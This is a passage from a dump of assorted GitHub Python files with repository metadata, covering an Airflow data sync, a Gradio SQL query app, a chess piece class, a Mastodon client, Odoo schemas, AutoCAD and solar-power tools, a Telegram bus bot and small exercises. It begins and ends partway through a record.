Name\n)\n\ncursor = db.cursor()\n\n\ndef check_url_validity():\n status_code = urllib.request.urlopen(url).getcode()\n website_is_up = status_code == 200\n return website_is_up\n\ndef get_dim_state():\n data = requests.get(url)\n return data.json()\n\ndef save_dim_state(data,today,dt_string):\n for dim_state in data:\n nid = dim_state['ID']\n Application_Id = dim_state['Application_Id']\n Age = dim_state['Age']\n Stage = dim_state['Stage']\n old_State = dim_state['old_State']\n sate_machine_name = dim_state['sate_machine_name']\n Satge_complation_date = dim_state['Satge_complation_date']\n Comment = dim_state['Comment']\n responsible_employee = dim_state['responsible_employee']\n employee_username = dim_state['employee_username']\n sql = \"INSERT INTO dim_state (nid,Application_Id,Age,Stage,old_State,sate_machine_name,Satge_complation_date,Comment,responsible_employee,employee_username) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\n val = (nid,Application_Id,Age,Stage,old_State,sate_machine_name,Satge_complation_date,Comment,responsible_employee,employee_username)\n cursor.execute(sql, val)\n db.commit()\n\ndef sync_dim_state(today,dt_string):\n data = get_dim_state()\n print(\"___today___\")\n print(today)\n print(\"date and time =\", dt_string)\n save_dim_state(data,today,dt_string)\n\ndef main():\n today = date.today()\n now = datetime.now()\n dt_string = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n if check_url_validity() == True:\n sync_dim_state(today,dt_string)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yahya1996/EtmamAirflowPython","sub_path":"dim_sate.py","file_name":"dim_sate.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71837670454","text":"import gradio as gr\nimport numpy as np\nimport pandas as pd\nimport sqlite3\n\n\ndef query_database(query):\n connection = sqlite3.connect('/root/StartUps_DB.db')\n results = pd.read_sql_query(query, connection)\n df = pd.DataFrame(results)\n connection.close()\n return df\n\n\nwiki_df = pd.read_csv('/root/data/wiki_modified.csv')\n\nwith gr.Blocks() as demo:\n gr.Markdown(\"StartUp Database created within MIPT Hackaton by Code_Crusaders Team.\")\n with gr.Tab(\"Whole Database\"):\n with gr.Row():\n query = gr.Textbox(label=\"Your query\", value=\"SELECT * FROM StartUps_DB LIMIT 10\")\n with gr.Row():\n output = gr.Dataframe()\n with gr.Row():\n execution_btn = gr.Button(\"Execute query\")\n execution_btn.click(fn=query_database, inputs=query, outputs=output, api_name=\"Execute your query \")\n\n with gr.Tab(\"Wikipedia\"):\n with gr.Row():\n df_output = gr.DataFrame(value=wiki_df)\n\n with gr.Tab('Database content'):\n gr.Image('Dataset_СС.png')\n\nif __name__ == \"__main__\":\n demo.launch(inbrowser=True, share=True, server_name ='0.0.0.0', server_port=8001)\n\n\n# def query_database(query):\n# connection = sqlite3.connect('/root/StartUps_DB.db')\n# results = pd.read_sql_query(query, connection)\n# df = pd.DataFrame(results)\n# connection.close()\n# return df\n\n# demo = gr.Interface(\n# fn=query_database,\n# inputs=[\n# gr.Textbox(label=\"SQL query\", value=\"SELECT * FROM StartUps_DB LIMIT 10\"),\n# ],\n# outputs=gr.Dataframe(),\n# title=\"StartUp Database Interactive Query Tool\",\n# description=\"Enter SQL query to retrieve data from our SQLite database with StartUps.\",\n# )\n\n# if __name__ == \"__main__\":\n# demo.launch(inbrowser=True, share=True, server_name ='0.0.0.0', server_port=8000)","repo_name":"ekaterinatao/hackathon_Code_Crusaders","sub_path":"Gradio_prod.py","file_name":"Gradio_prod.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6972905334","text":"import pygame\r\nimport os\r\nfrom pawn import Piece\r\n\r\n\r\nWIDTH, HEIGHT = 640, 640\r\nSQUARE_WIDTH = WIDTH/8\r\nSQUARE_HEIGHT = HEIGHT/8\r\n\r\nclass King(Piece):\r\n def __init__(self, x, y, color, board,attack_squares=[],color_attack_squares=[]):\r\n super().__init__(x, y, color, board,attack_squares)\r\n self.color_attack_squares = color_attack_squares\r\n IMG = \"{}_king.png\".format(self.color)\r\n self.img = pygame.image.load(os.path.join(\"imgs\", IMG))\r\n self.img = pygame.transform.scale(self.img, (SQUARE_WIDTH, SQUARE_HEIGHT))\r\n\r\n def __str__(self):\r\n return \"The {} King is at the position {}, {}\".format(self.color, self.x, self.y)\r\n\r\n def draw(self):\r\n # drawing the chess image\r\n return self.img\r\n\r\n def potential_moves(self):\r\n # cycling through all possible moves\r\n potential_moves = []\r\n\r\n for row in [-1,0,1]:\r\n row_loc = self.x + row\r\n if 0 <= row_loc < 7:\r\n for col in [-1,0,1]:\r\n col_loc = self.y + col\r\n if 0 <= col_loc <= 7:\r\n if ((row_loc*SQUARE_WIDTH),(col_loc*SQUARE_WIDTH)) in self.color_attack_squares:\r\n continue\r\n else:\r\n if self.board[row_loc][col_loc]=='':\r\n potential_moves.append(((row_loc) * SQUARE_WIDTH, (col_loc) * SQUARE_HEIGHT))\r\n elif self.board[row_loc][col_loc].color!=self.color:\r\n potential_moves.append(((row_loc) * SQUARE_WIDTH, (col_loc) * SQUARE_HEIGHT))\r\n else:\r\n continue\r\n else:\r\n continue\r\n else:\r\n continue \r\n\r\n return potential_moves\r\n \r\n def move(self, row, col):\r\n # Update the board with the new position of the piece\r\n self.board[self.x][self.y] = \"\"\r\n self.x = row\r\n self.y = col\r\n self.board[row][col] = self","repo_name":"Jasongouldd/Chess---python","sub_path":"Chess/king.py","file_name":"king.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3461990047","text":"import requests\nfrom time import sleep\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nBASE_URI = \"https://mastodon.social\"\n\n\nclass MastodonClient:\n def __init__(self, base_uri, access_token):\n self.__base_uri = base_uri\n self.__headers = {\"Authorization\": f\"Bearer {access_token}\"}\n\n def test_credentials(self):\n url = f\"{self.__base_uri}/api/v1/accounts/verify_credentials\"\n try:\n response = requests.get(url, headers=self.__headers)\n if response.status_code == 200:\n return response.json()\n message = f\"HTTP Code: {response.status_code}. {response.text}\"\n raise Exception(message)\n except Exception as exception:\n print(exception)\n return None\n\n def toot(self, status, media_ids=[]):\n url = f\"{self.__base_uri}/api/v1/statuses\"\n try:\n data = {\"status\": status,\n \"media_ids\": media_ids}\n response = requests.post(url, headers=self.__headers, json=data)\n if response.status_code == 200:\n return response.json()\n message = f\"HTTP Code: {response.status_code}. {response.text}\"\n raise Exception(message)\n except Exception as exception:\n print(exception)\n return None\n\n def upload_media(self, filename):\n print(\"upload_media\")\n url = f\"{self.__base_uri}/api/v2/media\"\n try:\n files = {\"file\": open(filename, \"rb\")}\n response = requests.post(url, headers=self.__headers, files=files)\n if response.status_code == 202:\n return response.json()\n message = f\"HTTP Code: {response.status_code}. {response.text}\"\n raise Exception(message)\n except Exception as exception:\n print(exception)\n return None\n\n def upload_media2(self, filename, description, thumbnail):\n print(\"upload_media2\")\n url = f\"{self.__base_uri}/api/v2/media\"\n try:\n data = {\"file\": (\"video.mp4\", open(filename, \"rb\"), 'video/mp4'),\n \"description\": description,\n \"thumbnail\": ('thumbnail.jpg', open(thumbnail, \"rb\"),\n 'image/jpeg')\n }\n response = requests.post(url, headers=self.__headers, files=data)\n if response.status_code == 202:\n return response.json()\n message = f\"HTTP Code: {response.status_code}. {response.text}\"\n raise Exception(message)\n except Exception as exception:\n print(exception)\n return None\n\n def get_media_info(self, id):\n print(\"get_media_info\")\n url = f\"{self.__base_uri}/api/v1/media/{id}\"\n print(url)\n try:\n response = requests.get(url, headers=self.__headers)\n if response.status_code == 200:\n return response.json()\n message = f\"HTTP Code: {response.status_code}. {response.text}\"\n raise Exception(message)\n except Exception as exception:\n print(exception)\n return None\n\n def toot_with_media(self, status, filename):\n response = self.upload_media(filename)\n if response and \"blurhash\" in response and response[\"blurhash\"]:\n id = response['id']\n info = None\n tries = 0\n while info is None:\n info = self.get_media_info(id)\n sleep(30)\n tries = tries + 1\n print(f\"Try n {tries}\")\n if tries > 10:\n return None\n return self.toot(status, [id])\n\n def toot_with_media2(self, status, filename, description=None,\n thumbnail=None):\n response = self.upload_media2(filename, description, thumbnail)\n if response and \"blurhash\" in response and response[\"blurhash\"]:\n id = response['id']\n info = None\n ntry = 0\n while info is None:\n info = self.get_media_info(id)\n sleep(30)\n ntry = ntry + 1\n print(f\"Try n {ntry}\")\n if ntry > 10:\n return None\n return self.toot(status, [id])\n\n\ndef main():\n import os\n from dotenv import load_dotenv\n load_dotenv()\n base_uri = os.getenv(\"MASTODON_BASE_URI\")\n access_token = os.getenv(\"MASTODON_ACCESS_TOKEN\")\n mastodon_client = MastodonClient(base_uri, access_token)\n msg = \"Gopass. Tus contraseñas seguras en Linux\"\n filename = \"/home/lorenzo/sandbox/output.mp4\"\n thumbnail = \"/home/lorenzo/sandbox/thumbnail.jpg\"\n mastodon_client.toot_with_media2(msg, filename, description=msg,\n thumbnail=thumbnail)\n # mastodon_client.toot(msg, [\"108255940858273411\"])\n # salida = mastodon_client.upload_media(filename)\n # print(salida)\n # mastodon_client.toot_with_media(msg, filename)\n # print(mastodon_client.get_media_info(\"108255983701968389\"))\n # mastodon_client.toot_with_media(msg, filename)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"atareao/pyblisher","sub_path":"src/mastodonapi.py","file_name":"mastodonapi.py","file_ext":"py","file_size_in_byte":5169,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"32594641540","text":"from odoo.addons.component.core import Component\n\n\nclass BaseShopfloorSchemaResponse(Component):\n \"\"\"Provide methods to share schema structures\n\n The methods should be used in Service Components, so we try to\n have similar schema structures across scenarios.\n \"\"\"\n\n _inherit = \"base.rest.service\"\n _name = \"base.shopfloor.schemas\"\n _collection = \"shopfloor.service\"\n _usage = \"schema\"\n _is_rest_service_component = False\n\n def _schema_list_of(self, schema, **kw):\n schema = {\n \"type\": \"list\",\n \"nullable\": True,\n \"required\": True,\n \"schema\": {\"type\": \"dict\", \"schema\": schema},\n }\n schema.update(kw)\n return schema\n\n def _simple_record(self, **kw):\n schema = {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n }\n schema.update(kw)\n return schema\n\n def _schema_dict_of(self, schema, **kw):\n schema = {\n \"type\": \"dict\",\n \"nullable\": True,\n \"required\": True,\n \"schema\": schema,\n }\n schema.update(kw)\n return schema\n\n def _schema_search_results_of(self, schema, **kw):\n return {\n \"size\": {\"required\": True, \"type\": \"integer\"},\n \"records\": {\n \"type\": \"list\",\n \"required\": True,\n \"schema\": {\"type\": \"dict\", \"schema\": schema},\n },\n }\n\n def picking(self):\n return {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n \"origin\": {\"type\": \"string\", \"nullable\": True, \"required\": False},\n \"note\": {\"type\": \"string\", \"nullable\": True, \"required\": False},\n \"move_line_count\": {\"type\": \"integer\", \"nullable\": True, \"required\": True},\n \"weight\": {\"required\": True, \"nullable\": True, \"type\": \"float\"},\n \"partner\": {\n \"type\": \"dict\",\n \"nullable\": True,\n \"required\": True,\n \"schema\": {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n },\n },\n \"scheduled_date\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n }\n\n def move_line(self, with_packaging=False, with_picking=False):\n schema = {\n \"id\": {\"type\": \"integer\", \"required\": True},\n \"qty_done\": {\"type\": \"float\", \"required\": True},\n \"quantity\": {\"type\": \"float\", \"required\": True},\n \"product\": self._schema_dict_of(self.product()),\n \"lot\": {\n \"type\": \"dict\",\n \"required\": False,\n \"nullable\": True,\n \"schema\": self.lot(),\n },\n \"package_src\": self._schema_dict_of(\n self.package(with_packaging=with_packaging)\n ),\n \"package_dest\": self._schema_dict_of(\n self.package(with_packaging=with_packaging), required=False\n ),\n \"location_src\": self._schema_dict_of(self.location()),\n \"location_dest\": self._schema_dict_of(self.location()),\n \"priority\": {\"type\": \"string\", \"nullable\": True, \"required\": False},\n }\n if with_picking:\n schema[\"picking\"] = self._schema_dict_of(self.picking())\n return schema\n\n def move(self):\n return {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"priority\": {\"type\": \"string\", \"required\": False, \"nullable\": True},\n }\n\n def product(self):\n return {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n \"display_name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n \"default_code\": {\"type\": \"string\", \"nullable\": True, \"required\": True},\n \"barcode\": {\"type\": \"string\", \"nullable\": True, \"required\": False},\n \"supplier_code\": {\"type\": \"string\", \"nullable\": True, \"required\": False},\n \"packaging\": self._schema_list_of(self.packaging()),\n \"uom\": self._schema_dict_of(\n self._simple_record(\n factor={\"required\": True, \"nullable\": True, \"type\": \"float\"},\n rounding={\"required\": True, \"nullable\": True, \"type\": \"float\"},\n )\n ),\n }\n\n def package(self, with_packaging=False):\n schema = {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n \"weight\": {\"required\": True, \"nullable\": True, \"type\": \"float\"},\n \"move_line_count\": {\"required\": False, \"nullable\": True, \"type\": \"integer\"},\n \"storage_type\": self._schema_dict_of(self._simple_record()),\n }\n if with_packaging:\n schema[\"packaging\"] = self._schema_dict_of(self.packaging())\n return schema\n\n def lot(self):\n return {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n \"ref\": {\"type\": \"string\", \"nullable\": True, \"required\": False},\n }\n\n def location(self):\n return {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n \"barcode\": {\"type\": \"string\", \"nullable\": True, \"required\": False},\n }\n\n def packaging(self):\n return {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n \"code\": {\"type\": \"string\", \"nullable\": True, \"required\": True},\n \"qty\": {\"type\": \"float\", \"required\": True},\n }\n\n def picking_batch(self, with_pickings=False):\n schema = {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n \"picking_count\": {\"required\": True, \"type\": \"integer\"},\n \"move_line_count\": {\"required\": True, \"type\": \"integer\"},\n \"weight\": {\"required\": True, \"nullable\": True, \"type\": \"float\"},\n }\n if with_pickings:\n schema[\"pickings\"] = self._schema_list_of(self.picking())\n return schema\n\n def package_level(self):\n return {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"is_done\": {\"type\": \"boolean\", \"nullable\": False, \"required\": True},\n \"picking\": self._schema_dict_of(self._simple_record()),\n \"package_src\": self._schema_dict_of(self.package()),\n \"location_src\": self._schema_dict_of(self.location()),\n \"location_dest\": self._schema_dict_of(self.location()),\n \"product\": self._schema_dict_of(self.product()),\n \"quantity\": {\"type\": \"float\", \"required\": True},\n }\n\n def picking_type(self):\n return {\n \"id\": {\"required\": True, \"type\": \"integer\"},\n \"name\": {\"type\": \"string\", \"nullable\": False, \"required\": True},\n }\n\n def move_lines_counters(self):\n return {\n \"lines_count\": {\"type\": \"float\", \"required\": True},\n \"picking_count\": {\"type\": \"float\", \"required\": True},\n \"priority_lines_count\": {\"type\": \"float\", \"required\": True},\n \"priority_picking_count\": {\"type\": \"float\", \"required\": True},\n }\n","repo_name":"nguyenductamlhp/servermns","sub_path":"addons/wms/shopfloor/services/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":7678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70467873652","text":"for c in range(8765431,1,-1):\n pandigital = None\n pandigital_primo = None\n vrf = []\n vrf2 = []\n tamanho = len(str(c))\n print(c)\n vrf = [x for x in range(1, tamanho+1)]\n for k in vrf:\n if str(k) in str(c):\n vrf2.append(k)\n if len(vrf2) == len(vrf):\n pandigital = True\n vrf = []\n for v in range(2, c):\n if c % v == 0:\n vrf.append(1)\n if not vrf:\n pandigital_primo = True\n if pandigital_primo and pandigital:\n resul = c\n break\nprint('Resoltado:',resul)","repo_name":"atico0/python","sub_path":"project_euler/problem_41.py","file_name":"problem_41.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"949578557","text":"from Networks.Tools import datatools, modeltools, evaltools\nfrom Networks.PairModel import models, training\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nif __name__ == \"__main__\":\n print(\"Pair Model Training\")\n \n model_name = \"Pair_Model_Standard_Overfitting_201125_loss_weights_vertex0.0_position1.0\"\n history_path = \"History_Pair_Model_Standard_Overfitting_201125_loss_weights_vertex0.0_position1.0_20201129\"\n data_path = \"data/numpy/Pair_evaluating_reshaped.npy\"\n\n\n history = evaltools.LoadHistory(history_path)\n Vertex_Output_loss = history['Vertex_Output_loss']\n val_Vertex_Output_loss = history['val_Vertex_Output_loss']\n Position_Output_loss = history['Position_Output_loss']\n val_Position_Output_loss = history['val_Position_Output_loss']\n\n \n \"\"\"\n plt.plot(Vertex_Output_loss, color=\"magenta\", label=\"Classification Loss - Train\")\n plt.plot(val_Vertex_Output_loss, color=\"red\", label=\"Classification Loss - Validation\")\n \"\"\"\n plt.plot(Position_Output_loss, color=\"cyan\", label=\"Regression Loss - Train\")\n plt.plot(val_Position_Output_loss, color=\"blue\", label=\"Regression Loss - Validation\")\n plt.legend()\n plt.xlabel(\"Epochs\")\n #plt.ylabel(\"Classification Loss\")\n plt.ylabel(\"Regression Loss\")\n plt.grid(True)\n plt.savefig(\"data/figure/Loss_\" + model_name + \".png\")\n\n \"\"\"\n\n data = np.load(data_path)\n variables, true_vertex, true_position = datatools.GetPairData(data, Cov=True)\n model = modeltools.LoadPairModel(model_name)\n\n model.compile(loss={'Vertex_Output': 'categorical_crossentropy', 'Position_Output': 'mean_squared_logarithmic_error'},\n optimizer='SGD',\n metrics=['accuracy', 'mae'])\n\n predict_vertex, predict_position = model.predict([variables])\n predict_vertex = np.array(predict_vertex, dtype=float)\n\n classes = [\"NC\", \"PV\", \"SVCC\", \"SVBB\", \"TVCC\", \"SVBC\", \"Others\"]\n evaltools.ConfusionMatrix(predict_vertex, true_vertex, model_name, classes)\n\n\n evaltools.EfficiencyCurve(predict_vertex, true_vertex, model_name)\n\n evaltools.PlotRegression(predict_position, true_position, model_name, MaxLog=5, Bins=1000)\n\n \"\"\"\n","repo_name":"Goto-K/VertexFinderwithDL","sub_path":"tmp_eval_pair_model.py","file_name":"tmp_eval_pair_model.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11318756348","text":"import _ctypes\nfrom pyautocad import Autocad\nimport win32com.client\nfrom array import array\nfrom projectutils import show_error_window\nfrom view.components import Input\nfrom view.results import Results\nfrom .items import Items\nfrom observer import Subject, Observer\nfrom typing import List, Union, Callable\nfrom .polyline import Polyline\nfrom .text import Text, TextItem\nfrom view.table_data import DataItem, TableData\nfrom comtypes.automation import VARIANT\nfrom model.table import Table\nfrom .waste import Waste\nfrom .format_data_for_waste import format_data_for_waste\nfrom projectutils import Item\n\nfrom model import waste\n\n\nclass Acad(Subject, Observer):\n def __init__(self) -> None:\n self.acad = Autocad(create_if_not_exists=True)\n self.model = self.acad.model\n self.doc = self.acad.doc\n self._shell = win32com.client.Dispatch(\"WScript.Shell\")\n self._selected_items = None\n self.acad_text: Union[Text, None] = None\n self.acad_table: Union[Table, None] = None\n self.polyline = Polyline(self.model)\n self._observers: List[Observer] = []\n self._waste = None\n\n def attach(self, observer: Observer) -> None:\n self._observers.append(observer)\n\n def detach(self, observer: Observer) -> None:\n self._observers.remove(observer)\n\n def notify(self, event: str) -> None:\n for observer in self._observers:\n observer.update(self, event)\n\n def expand_acad(self) -> None:\n self._shell.AppActivate(self.acad.app.Caption)\n\n def select_items(self, text=\"Выберете объект\") -> None:\n self.expand_acad()\n self.doc.Utility.prompt(text)\n try:\n if self.doc.SelectionSets.Count > 0:\n self.doc.SelectionSets.Item(\"SS1\").Delete()\n selected = self.doc.SelectionSets.Add(\"SS1\")\n selected.SelectOnScreen()\n self._selected_items = Items(selected).get_items\n self.notify(\"update\")\n except Exception:\n show_error_window('Ошибка при выделение объектов!')\n\n def inscribe_text(self, data_items: List[DataItem], scale: float) -> None:\n self.acad_text = Text(self.acad)\n self.acad_text.inscribe_text_items(data_items, scale)\n\n @property\n def selected_items(self):\n return self._selected_items\n\n def update(self, subject: Results, event: str) -> None:\n if event == \"update\":\n if self.acad_text:\n self.acad_text.clear()\n self.inscribe_text(subject.table_data.get_data(), subject.scale)\n self._waste = Waste(format_data_for_waste(\n subject.table_data.get_data()), subject.width, subject.height)\n if event == \"clear\":\n self.acad_text.detach_text()\n\n def get_point(self, message_text=\"Выберете точку\") -> array:\n self.expand_acad()\n return array('d', self.doc.Utility.GetPoint(VARIANT.missing, message_text))\n\n def create_table(self, scale: Input, ui_data: TableData) -> Callable:\n def fun() -> None:\n if not scale.is_empty():\n try:\n initial_point = self.get_point()\n self.acad_table = Table(\n self.acad, scale.get_value(), initial_point)\n self.acad_table.draw_table(ui_data)\n except _ctypes.COMError:\n print(\"point not selected\")\n else:\n show_error_window('Введите масштаб!')\n return fun\n\n def draw_objects(self, ui_data: TableData) -> Callable:\n def fn() -> None:\n initial_point = self.get_point()\n data = ui_data.get_data()\n for data_item in data:\n for _ in range(int(data_item.amount)):\n self.polyline.draw_rectangle(\n initial_point,\n float(data_item.width),\n float(data_item.height)\n )\n initial_point[1] += float(data_item.height)\n initial_point[1] += 100\n obj_description = TextItem(\n self.acad, f\"{data_item.poly_type.decode()} {data_item.depth}\",\n 50,\n 1000\n )\n obj_description.draw_text(initial_point)\n initial_point[1] += 50\n return fn\n\n def draw_waste(self) -> None:\n initial_point = self.get_point()\n waste_data = self._waste.result\n for poly_type in waste_data.keys():\n for depth in waste_data[poly_type].keys():\n for bins in waste_data[poly_type][depth]:\n self.polyline.draw_rectangle(\n initial_point,\n self._waste.original_height,\n self._waste.original_width\n )\n for item in bins.items:\n self.polyline.draw_rectangle(\n array(\"d\", [initial_point[0] + item.x,\n initial_point[1] + item.y, 0]),\n item.width,\n item.height,\n 3\n )\n for free_rect in bins.freerects:\n self.polyline.draw_rectangle(\n array(\n \"d\",\n [initial_point[0] + free_rect.x,\n initial_point[1] + free_rect.y, 0]\n ),\n free_rect.width,\n free_rect.height,\n 1\n )\n initial_point[1] += self._waste.original_width\n initial_point[1] += 100\n obj_description = TextItem(\n self.acad,\n f\"{poly_type} {depth}\",\n 50,\n 1000\n )\n obj_description.draw_text(initial_point)\n initial_point[1] += 50\n\n def draw_waste_result(self, scale: Input, calc_overall_volume: Callable[..., dict]) -> Callable:\n def fn() -> None:\n scale_value = scale.get_value()\n waste_result = self._waste.calc_waste(calc_overall_volume)\n initial_point = self.get_point()\n waste_str = \"\"\n text_index = 0\n for index, poly_type in enumerate(waste_result.keys()):\n text_index += 1\n waste_str += f\"{text_index}.Возвратные остатки - {waste_result[poly_type]['returnable']} м\\u00b3, невозвратные(неиспользуемые в производстве) - {waste_result[poly_type]['non_returnable']} м\\u00b3 ({waste_result[poly_type]['non_returnable_percent']}%) - для {poly_type}.\\n\"\n waste_str += f\"{text_index + 1}.Перед бетонированием внутреннего слоя, стыки сплошного утеплителя заполнить монтажной пеной.\\n\"\n waste_str += f\"{text_index + 2}.Схему установки деревянных пробок см. 152М-КЖ2.И л.9а-9в.\"\n waste_text = TextItem(\n self.acad,\n waste_str,\n 150 / scale_value,\n 7400 / scale_value\n )\n waste_text.draw_text(initial_point)\n return fn\n","repo_name":"skysharkk/AutoCad-polystyrene-calculatio","sub_path":"model/autocad.py","file_name":"autocad.py","file_ext":"py","file_size_in_byte":7628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9998926682","text":"from telegram.ext import Updater, MessageHandler, Filters, CommandHandler # import modules\r\nfrom InfoRequester import InfoRequester\r\n\r\nclass Asanbusbot :\r\n # 멤버변수\r\n requester = None\r\n updater = None\r\n\r\n # 생성자\r\n def __init__(self, tokenFileName, dbFileName):\r\n # requester 초기화\r\n self.requester = InfoRequester(dbFileName)\r\n\r\n # 토큰 파일 읽기 및 updater 초기화\r\n with open(tokenFileName, \"r\") as f:\r\n token = f.readline()\r\n self.updater = Updater(token)\r\n\r\n # callback functions\r\n def cb_start_command(self, bot, update):\r\n update.message.reply_text(\"아산시내버스알리미입니다.\\n정류장 이름을 입력해주세요.\")\r\n\r\n def cb_message(self, bot, update):\r\n msgList = self.requester.requestBusInfo( update.message['text'] )\r\n\r\n if msgList :\r\n for msg in msgList :\r\n update.message.reply_text(msg)\r\n else :\r\n update.message.reply_text(\"해당 정류장이 존재하지 않습니다.\")\r\n\r\n def startBot(self):\r\n # 메시지 핸들러 등록\r\n message_handler = MessageHandler(Filters.text, self.cb_message)\r\n self.updater.dispatcher.add_handler(message_handler)\r\n \r\n # 명령어 핸들러 등록\r\n start_handler = CommandHandler('start', self.cb_start_command)\r\n self.updater.dispatcher.add_handler(start_handler) \r\n\r\n print('start telegram chat bot')\r\n self.updater.start_polling(timeout=3, clean=True)\r\n self.updater.idle()\r\n\r\n# 단독으로 수행시에만 작동 => 테스트코드를 삽입해서 사용\r\nif __name__ == '__main__' :\r\n bot = Asanbusbot('asanbusbot_key.txt', 'db_connInfo.txt')\r\n bot.startBot()\r\n\r\n# 키보드 인터럽트\r\n# 접속 로그\r\n# DB 유사 검색어","repo_name":"jaehoonx2/asanbusbot","sub_path":"Asanbusbot.py","file_name":"Asanbusbot.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35666473678","text":"import numpy as np\nimport pandas\nimport pvlib\nfrom pvlib import pvsystem\n\nfrom helpers import middle_node, calculate_tilt_and_azimuth\nfrom nodes import Node\n\n\nclass PVSystemSimulator:\n def __init__(self):\n self.cec_mod_db = pvsystem.retrieve_sam('CECmod')\n self.invdb = pvsystem.retrieve_sam('CECInverter')\n # Accessing the characteristics of one of the modules randomly\n self.inverter_data = self.invdb.iloc[:, np.random.randint(0, high=len(self.invdb))]\n # Define the PV Module and the Inverter from the CEC databases (For example, the first entry of the databases)\n self.module_data = self.cec_mod_db['Aavid_Solar_ASMS_165P']\n # Define Temperature Paremeters\n self.temperature_model_parameters = pvlib.temperature.TEMPERATURE_MODEL_PARAMETERS['sapm'][\n 'open_rack_glass_glass']\n\n def power_output(self, df_weather: pandas.DataFrame, node1: Node, node2: Node):\n node3 = middle_node(node1, node2)\n # Calculate the tilt and azimuth for node2 using its time\n tilt, azimuth = calculate_tilt_and_azimuth(node1, node2)\n # Calculate the difference\n time_delta = node2.time - node1.time\n hours_diff = time_delta.total_seconds() / 3600\n location = pvlib.location.Location(node3.lat, node3.lon, altitude=node3.alt)\n\n # Define the basics of the class PVSystem\n system = pvlib.pvsystem.PVSystem(surface_tilt=tilt, surface_azimuth=azimuth,\n module_parameters=self.module_data,\n inverter_parameters=self.inverter_data,\n temperature_model_parameters=self.temperature_model_parameters)\n\n # Creation of the ModelChain object\n \"\"\" The example does not consider AOI losses nor irradiance spectral losses\"\"\"\n mc = pvlib.modelchain.ModelChain(system, location,\n aoi_model='no_loss',\n spectral_model='no_loss',\n name='AssessingSolar_PV')\n\n # Pass the weather data to the model\n \"\"\" \n The weather DataFrame must include the irradiance components with the names 'dni', 'ghi', and 'dhi'. \n The air temperature named 'temp_air' in degree Celsius and wind speed 'wind_speed' in m/s are optional.\n \"\"\"\n mc.run_model(df_weather)\n return mc.results.dc['p_mp'].sum() * hours_diff\n","repo_name":"AramaisTyshchenko/DronePP","sub_path":"pvsystem.py","file_name":"pvsystem.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37104246398","text":"import cv2\r\n\r\nface_data = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n\r\nimg = cv2.imread('img.jpg')\r\ngray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\r\nface_coordinates = face_data.detectMultiScale(gray_img)\r\n\r\n#face coordinates generates a 2D array and each array in it contains the coordinates of a face detected\r\nfor i in face_coordinates:\r\n x_coordinate = i[0]\r\n y_coordinate = i[1]\r\n width = i[2]\r\n height = i[3]\r\n #Drawing a rectangle on each face detected\r\n cv2.rectangle(img, (x_coordinate, y_coordinate), ((x_coordinate + width), (y_coordinate + height)), (0, 255, 0), 2)\r\n\r\ncv2.imshow('Face Detector', img)\r\ncv2.waitKey()\r\n","repo_name":"Abdullah-Farhan/Artificial-Intelligence","sub_path":"FaceDetector/FaceDetection.py","file_name":"FaceDetection.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73617217333","text":"import csv\nimport math\n\n\ndef solve_quadratic(a, b, c):\n # Вычисление дискриминанта\n discriminant = b ** 2 - 4 * a * c\n\n if discriminant > 0:\n # Два действительных корня\n root1 = (-b + math.sqrt(discriminant)) / (2 * a)\n root2 = (-b - 